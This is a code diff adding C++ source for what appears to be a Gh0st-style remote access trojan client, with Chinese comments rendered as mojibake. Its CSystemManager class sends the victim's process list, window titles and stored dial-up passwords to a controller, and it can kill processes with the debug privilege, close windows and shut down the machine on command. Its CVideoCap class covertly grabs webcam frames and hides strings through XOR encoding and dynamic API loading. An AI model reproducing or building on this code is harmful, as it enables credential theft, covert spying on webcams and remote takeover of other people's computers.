UINT nRet = -1;
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
LPBYTE lpBuffer = getWindowsList();
if (lpBuffer == NULL)
return;
//<2F><><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
//<2F><><EFBFBD><EFBFBD>20200530
void CSystemManager::SendDialupassList()
{
CDialupass pass;
int nPacketLen = 0;
int i = 0;
for (i = 0; i < pass.GetMax(); i++)
{
COneInfo *pOneInfo = pass.GetOneInfo(i);
for (int j = 0; j < STR_MAX; j++)
nPacketLen += lstrlen(pOneInfo->Get(j)) + 1;
}
nPacketLen += 1;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLen);
DWORD dwOffset = 1;
for (i = 0; i < pass.GetMax(); i++)
{
COneInfo *pOneInfo = pass.GetOneInfo(i);
for (int j = 0; j < STR_MAX; j++)
{
int nFieldLength = lstrlen(pOneInfo->Get(j)) + 1;
memcpy(lpBuffer + dwOffset, pOneInfo->Get(j), nFieldLength);
dwOffset += nFieldLength;
}
}
lpBuffer[0] = TOKEN_DIALUPASS;
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize)
{
HANDLE hProcess = NULL;
DebugPrivilege(SE_DEBUG_NAME, TRUE);
// <20><>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF>ܲ<EFBFBD>ֹ<EFBFBD><D6B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD>
for (int i = 0; i < nSize; i += 4)
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + i));
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
}
DebugPrivilege(SE_DEBUG_NAME, FALSE);
// <20><><EFBFBD><EFBFBD>Sleep<65>£<EFBFBD><C2A3><EFBFBD>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD>
Sleep(100);
// ˢ<>½<EFBFBD><C2BD><EFBFBD><EFBFBD>б<EFBFBD>
SendProcessList();
// ˢ<>´<EFBFBD><C2B4><EFBFBD><EFBFBD>б<EFBFBD>
SendWindowsList();
}
BOOL CSystemManager::DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath)
{
TCHAR szDriveStr[500];
TCHAR szDrive[3];
TCHAR szDevName[100];
INT cchDevName;
INT i;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (!pszDosPath || !pszNtPath)
return FALSE;
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
if (GetLogicalDriveStrings(sizeof(szDriveStr), szDriveStr))
{
for (i = 0; szDriveStr[i]; i += 4)
{
if (!lstrcmpi(&(szDriveStr[i]), "A:\\") || !lstrcmpi(&(szDriveStr[i]), "B:\\"))
continue;
szDrive[0] = szDriveStr[i];
szDrive[1] = szDriveStr[i + 1];
szDrive[2] = '\0';
if (!QueryDosDevice(szDrive, szDevName, 100))//<2F><>ѯ Dos <20><EFBFBD><E8B1B8>
return FALSE;
cchDevName = lstrlen(szDevName);
if (_tcsnicmp(pszDosPath, szDevName, cchDevName) == 0)//<2F><><EFBFBD><EFBFBD>
{
lstrcpy(pszNtPath, szDrive);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lstrcat(pszNtPath, pszDosPath + cchDevName);//<2F><><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
return TRUE;
}
}
}
lstrcpy(pszNtPath, pszDosPath);
return FALSE;
}
BOOL CSystemManager::GetProcessFullPath(DWORD dwPID, TCHAR pszFullPath[MAX_PATH])
{
TCHAR szImagePath[MAX_PATH];
HANDLE hProcess;
if (!pszFullPath)
return FALSE;
pszFullPath[0] = '\0';
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, dwPID);
if (!hProcess)
return FALSE;
if (!GetProcessImageFileName(hProcess, szImagePath, MAX_PATH))
{
CloseHandle(hProcess);
return FALSE;
}
if (!DosPathToNtPath(szImagePath, pszFullPath))
{
CloseHandle(hProcess);
return FALSE;
}
CloseHandle(hProcess);
return TRUE;
}
LPBYTE CSystemManager::getProcessList()
{
HANDLE hSnapshot = NULL; //<2F><><EFBFBD>վ<EFBFBD><D5BE><EFBFBD>
HANDLE hProcess = NULL; //<2F><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD>
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
PROCESSENTRY32 pe32 = {0};
DWORD cbNeeded;
char strProcessName[MAX_PATH] = {0}; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBYTE lpBuffer = NULL; //
DWORD dwOffset = 0;
DWORD dwLength = 0;
//<2F><>ȡȨ<C8A1><C8A8>
DebugPrivilege(SE_DEBUG_NAME, TRUE);
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>̿<EFBFBD><CCBF><EFBFBD>
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE)
return NULL;
pe32.dwSize = sizeof(PROCESSENTRY32);
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD>ƶ˹<C6B6><CBB9>е<EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD><EFBFBD>ͣ<EFBFBD><CDA3><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD>ǽ<EFBFBD><C7BD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lpBuffer[0] = TOKEN_PSLIST;
dwOffset = 1;
//<2F>õ<EFBFBD><C3B5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܾͷ<DCBE><CDB7><EFBFBD>
if(Process32First(hSnapshot, &pe32))
{
do
{
//<2F>򿪽<EFBFBD><F2BFAABD>̾<EFBFBD><CCBE><EFBFBD>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
if ((pe32.th32ProcessID !=0 ) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8))
{
//strProcessName[0] = '\0';
//ö<>ٵ<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>bug<75><67>û<EFBFBD><C3BB>Ȩ<EFBFBD>޵<EFBFBD><DEB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޷<EFBFBD><DEB7><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD>Է<EFBFBD><D4B7>͹<EFBFBD>ȥ<EFBFBD><C8A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F><><EFBFBD>һ<EFBFBD>ȡ<EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7><EFBFBD>ȫ<EFBFBD><EFBFBD><E6A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>GetProcessFullPath<74><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>͵<EFBFBD><CDB5><EFBFBD>
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//GetModuleFileNameEx(hProcess, hModules, strProcessName, sizeof(strProcessName));
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GetProcessFullPath(pe32.th32ProcessID, strProcessName);
// <20>˽<EFBFBD><CBBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
dwLength = sizeof(DWORD) + lstrlen(pe32.szExeFile) + lstrlen(strProcessName) + 2;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
//<2F><><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD><EFBFBD><EFBFBD>򻺳<EFBFBD><F2BBBAB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݽṹ<DDBD><E1B9B9> <20><><EFBFBD><EFBFBD>ID+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0
memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
dwOffset += sizeof(DWORD);
memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
dwOffset += lstrlen(pe32.szExeFile) + 1;
memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) + 1);
dwOffset += lstrlen(strProcessName) + 1;
}
}
while(Process32Next(hSnapshot, &pe32));//<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
//<2F><>lpbuffer<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȥ
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
DebugPrivilege(SE_DEBUG_NAME, FALSE);
CloseHandle(hSnapshot);
return lpBuffer;
}
//<2F><>Ȩ
bool CSystemManager::DebugPrivilege(const char *PName,BOOL bEnable)
{
BOOL bResult = TRUE;
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
{
bResult = FALSE;
return bResult;
}
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
if (GetLastError() != ERROR_SUCCESS)
{
bResult = FALSE;
}
CloseHandle(hToken);
return bResult;
}
void CSystemManager::ShutdownWindows( DWORD dwReason )
{
DebugPrivilege(SE_SHUTDOWN_NAME,TRUE);
ExitWindowsEx(dwReason, 0);
DebugPrivilege(SE_SHUTDOWN_NAME,FALSE);
}
//<2F><><EFBFBD>ڻص<DABB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE lpBuffer = *(LPBYTE *)lParam;
char strTitle[1024];
memset(strTitle, 0, sizeof(strTitle));
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
if (IsWindowVisible(hwnd))
return true;
//GetWindowText(hwnd, strTitle, sizeof(strTitle));
GetWindowTextSafe(hwnd, strTitle, sizeof(strTitle));
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
if (lstrlen(strTitle) == 0)
{
OutputDebugString("lstrlen");
return true;
}
//<2F><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>յĻ<D5B5><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
//<2F><><EFBFBD>ú<EFBFBD><C3BA><EFBFBD>ʱѭ<CAB1><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Եڶ<D4B5><DAB6>ν<EFBFBD><CEBD><EFBFBD><EFBFBD>Ͳ<EFBFBD><CDB2>ǿյģ<D5B5><C4A3>ö<EFBFBD>̬<EFBFBD><CCAC>LocalReAlloc<6F>ı<EFBFBD><C4B1>Ѵ<EFBFBD>Сʵ<D0A1><CAB5><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD><DDB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD>
if (lpBuffer == NULL)
//<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>СΪ1<CEAA><31><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>һ<EFBFBD>ֽ<EFBFBD>Ϊ֪ͨ<CDA8><D6AA><EFBFBD>ƶ˱<C6B6>ʶ
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
dwOffset = LocalSize(lpBuffer);
//<2F><><EFBFBD><EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ڵĴ<DAB5><C4B4><EFBFBD><EFBFBD><EFBFBD> + <20><><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ݽṹΪ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>PID + hwnd + <20><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD> + 0
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
memcpy((lpBuffer + dwOffset), &hwnd, sizeof(DWORD));
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
*(LPBYTE *)lParam = lpBuffer;
return true;
}
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
LPBYTE CSystemManager::getWindowsList()
{
LPBYTE lpBuffer = NULL;
//ö<><C3B6><EFBFBD><EFBFBD>Ļ<EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>еĶ<D0B5><C4B6><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؽ<EFBFBD><D8BD><EFBFBD>Щ<EFBFBD><D0A9><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD>һ<EFBFBD><D2BB>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļص<C4BB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//EnumWindows<77><73>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȥ<EFBFBD><C8A5>ֱ<EFBFBD><D6B1>ö<EFBFBD><C3B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еĶ<D0B5><C4B6><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD>߻ص<DFBB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FALSE.
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer);
//<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>TOKEN_WSLIST<53><54><EFBFBD>ض<EFBFBD>ʶ<EFBFBD><CAB6>
lpBuffer[0] = TOKEN_WSLIST;
return lpBuffer;
}
//<2F>رմ<D8B1><D5B4><EFBFBD>
void CSystemManager::CloseTheWindow(LPBYTE buf)
{
DWORD hwnd;
memcpy(&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
::PostMessage((HWND__ *)hwnd, WM_CLOSE, 0, 0); //<2F>򴰿ڷ<F2B4B0BF><DAB7>͹ر<CDB9><D8B1><EFBFBD>Ϣ
}
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
void CSystemManager::ShowTheWindow(LPBYTE buf)
{
DWORD hwnd;
DWORD dHow;
memcpy((void*)&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
memcpy(&dHow, buf + sizeof(DWORD), sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ShowWindow((HWND__ *)hwnd, dHow);
}
int GetWindowTextSafe(HWND hWnd, LPTSTR lpString, int nMaxCount)
{
if (NULL == hWnd || FALSE == IsWindow(hWnd) || NULL == lpString || 0 == nMaxCount)
{
return GetWindowText(hWnd, lpString, nMaxCount);
}
DWORD dwHwndProcessID = 0;
DWORD dwHwndThreadID = 0;
dwHwndThreadID = GetWindowThreadProcessId(hWnd, &dwHwndProcessID); //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD>̺<EFBFBD><CCBA>߳<EFBFBD>ID
if (dwHwndProcessID != GetCurrentProcessId()) //<2F><><EFBFBD>ڽ<EFBFBD><DABD>̲<EFBFBD><CCB2>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ý<EFBFBD><C3BD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
return GetWindowText(hWnd, lpString, nMaxCount);
}
//<2F><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD><EFBFBD>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
if (dwHwndThreadID == GetCurrentThreadId()) //<2F><><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
return GetWindowText(hWnd, lpString, nMaxCount);
}
#ifndef _UNICODE
WCHAR *lpStringUnicode = new WCHAR[nMaxCount];
InternalGetWindowText(hWnd, lpStringUnicode, nMaxCount);
int size = WideCharToMultiByte(CP_ACP, 0, lpStringUnicode, -1, NULL, 0, NULL, NULL);
if (size <= nMaxCount)
{
size = WideCharToMultiByte(CP_ACP, 0, lpStringUnicode, -1, lpString, size, NULL, NULL);
if (NULL != lpStringUnicode)
{
delete[]lpStringUnicode;
lpStringUnicode = NULL;
}
return size;
}
if (NULL != lpStringUnicode)
{
delete[]lpStringUnicode;
lpStringUnicode = NULL;
}
return 0;
#else
return InternalGetWindowText(hWnd, lpString, nMaxCount);
#endif
}

View File

@@ -0,0 +1,40 @@
// SystemManager.h: interface for the CSystemManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)
#define AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CSystemManager : public CManager
{
public:
CSystemManager(CClientSocket *pClient, BYTE bHow);//bHow<6F>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵı<DCB5>־
virtual ~CSystemManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
static bool DebugPrivilege(const char *PName,BOOL bEnable);
static bool CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam);
static void ShutdownWindows(DWORD dwReason);
private:
BYTE m_caseSystemIs;//<2F><><EFBFBD><EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD>̻<EFBFBD><CCBB>ߴ<EFBFBD><DFB4>ڵı<DAB5><C4B1><EFBFBD>
BOOL GetProcessFullPath(DWORD dwPID, TCHAR pszFullPath[MAX_PATH]);
BOOL DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath);
LPBYTE getProcessList();
LPBYTE getWindowsList();
void SendProcessList();
void SendWindowsList();
void SendDialupassList();
void KillProcess(LPBYTE lpBuffer, UINT nSize);
void ShowTheWindow(LPBYTE buf);
void CloseTheWindow(LPBYTE buf);
};
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)

View File

@@ -0,0 +1,179 @@
// VideoCap.cpp: implementation of the CVideoCap class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "VideoCap.h"
#include "..\DynamicAPI.h"
#include "..\StrCry.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
bool CVideoCap::m_bIsConnected = false;
CVideoCap::CVideoCap()
{
// If FALSE, the system automatically resets the state to nonsignaled after a single waiting thread has been released.
m_hCaptureEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
m_lpbmi = NULL;
m_lpDIB = NULL;
if (!IsWebCam() || m_bIsConnected)
return;
//"#32770Ĭ<30>ϵĴ<CFB5><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char classname32770[] = { 0x06,0xe8,0xf9,0xfb,0xff,0xf0,0xf6 }; //#32770
char* lpClassName = decodeStr(classname32770); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//m_hWnd = CreateWindow(lpClassName, /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
memset(lpClassName, 0, classname32770[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete lpClassName;
char VideoCapWindow[] = { 0x0e,0x9d,0xa3,0xad,0xad,0xa8,0x85,0xa4,0xb4,0x94,0xab,0xaf,0xa4,0xd0,0xc9 }; //VideoCapWindow
char* lpszWindowName = decodeStr(classname32770); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
m_hWndCap = capCreateCaptureWindow(lpszWindowName, WS_CHILD | WS_VISIBLE, 0, 0, 0, 0, m_hWnd, 0);
memset(lpszWindowName, 0, VideoCapWindow[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete lpszWindowName;
}
CVideoCap::~CVideoCap()
{
if (m_bIsConnected)
{
capCaptureAbort(m_hWndCap);
capDriverDisconnect(m_hWndCap);
if (m_lpbmi)
delete m_lpbmi;
if (m_lpDIB)
delete m_lpDIB;
m_bIsConnected = false;
}
capSetCallbackOnError(m_hWndCap, NULL);
capSetCallbackOnFrame(m_hWndCap, NULL);
//DynamicAPI myApi;
//myApi.init_user32();
//myApi.pCloseWindowT(m_hWnd);
// myApi.pCloseWindowT(m_hWndCap);
DynamicAPI myApi;
myApi.init_user32();
myApi.pCloseWindowT(m_hWnd);
myApi.pCloseWindowT(m_hWndCap);
//CloseWindow(m_hWnd);
//CloseWindow(m_hWndCap);
CloseHandle(m_hCaptureEvent);
}
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>ƵԴ<C6B5>Ի<EFBFBD><D4BB><EFBFBD>
LRESULT CALLBACK CVideoCap::capErrorCallback(HWND hWnd, int nID, LPCSTR lpsz)
{
return (LRESULT)TRUE;
}
LRESULT CALLBACK CVideoCap::FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr)
{
try
{
CVideoCap *pThis = (CVideoCap *)capGetUserData(hWnd);
if (pThis != NULL)
{
memcpy(pThis->m_lpDIB, lpVHdr->lpData, pThis->m_lpbmi->bmiHeader.biSizeImage);
SetEvent(pThis->m_hCaptureEvent);
}
}catch(...){};
return 0;
}
bool CVideoCap::IsWebCam()
{
// <20>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_bIsConnected)
return false;
bool bRet = false;
char lpszName[100], lpszVer[50];
for (int i = 0; i < 10 && !bRet; i++)
{
bRet = capGetDriverDescription(i, lpszName, sizeof(lpszName),
lpszVer, sizeof(lpszVer));
}
return bRet;
}
LPBYTE CVideoCap::GetDIB()
{
capGrabFrameNoStop(m_hWndCap);
DWORD dwRet = WaitForSingleObject(m_hCaptureEvent, 3000);
if (dwRet == WAIT_OBJECT_0)
return m_lpDIB;
else
return NULL;
}
bool CVideoCap::Initialize(int nWidth, int nHeight)
{
CAPTUREPARMS gCapTureParms ; //<2F><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CAPDRIVERCAPS gCapDriverCaps;
DWORD dwSize;
if (!IsWebCam())
return false;
capSetUserData(m_hWndCap, this);
capSetCallbackOnError(m_hWndCap, capErrorCallback);
if (!capSetCallbackOnFrame(m_hWndCap, FrameCallbackProc))
{
return false;
}
int i = 0;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (i = 0; i < 10; i++)
{
if (capDriverConnect(m_hWndCap, i))
break;
}
if (i == 10)
return false;
dwSize = capGetVideoFormatSize(m_hWndCap);
m_lpbmi = new BITMAPINFO;
// M263ֻ֧<D6BB><D6A7>176*144 352*288 (352*288 24<32>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>ֻ֧<D6BB><D6A7>biPlanes = 1)
capGetVideoFormat(m_hWndCap, m_lpbmi, dwSize);
// <20><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>Ĵ<EFBFBD>С
if (nWidth && nHeight)
{
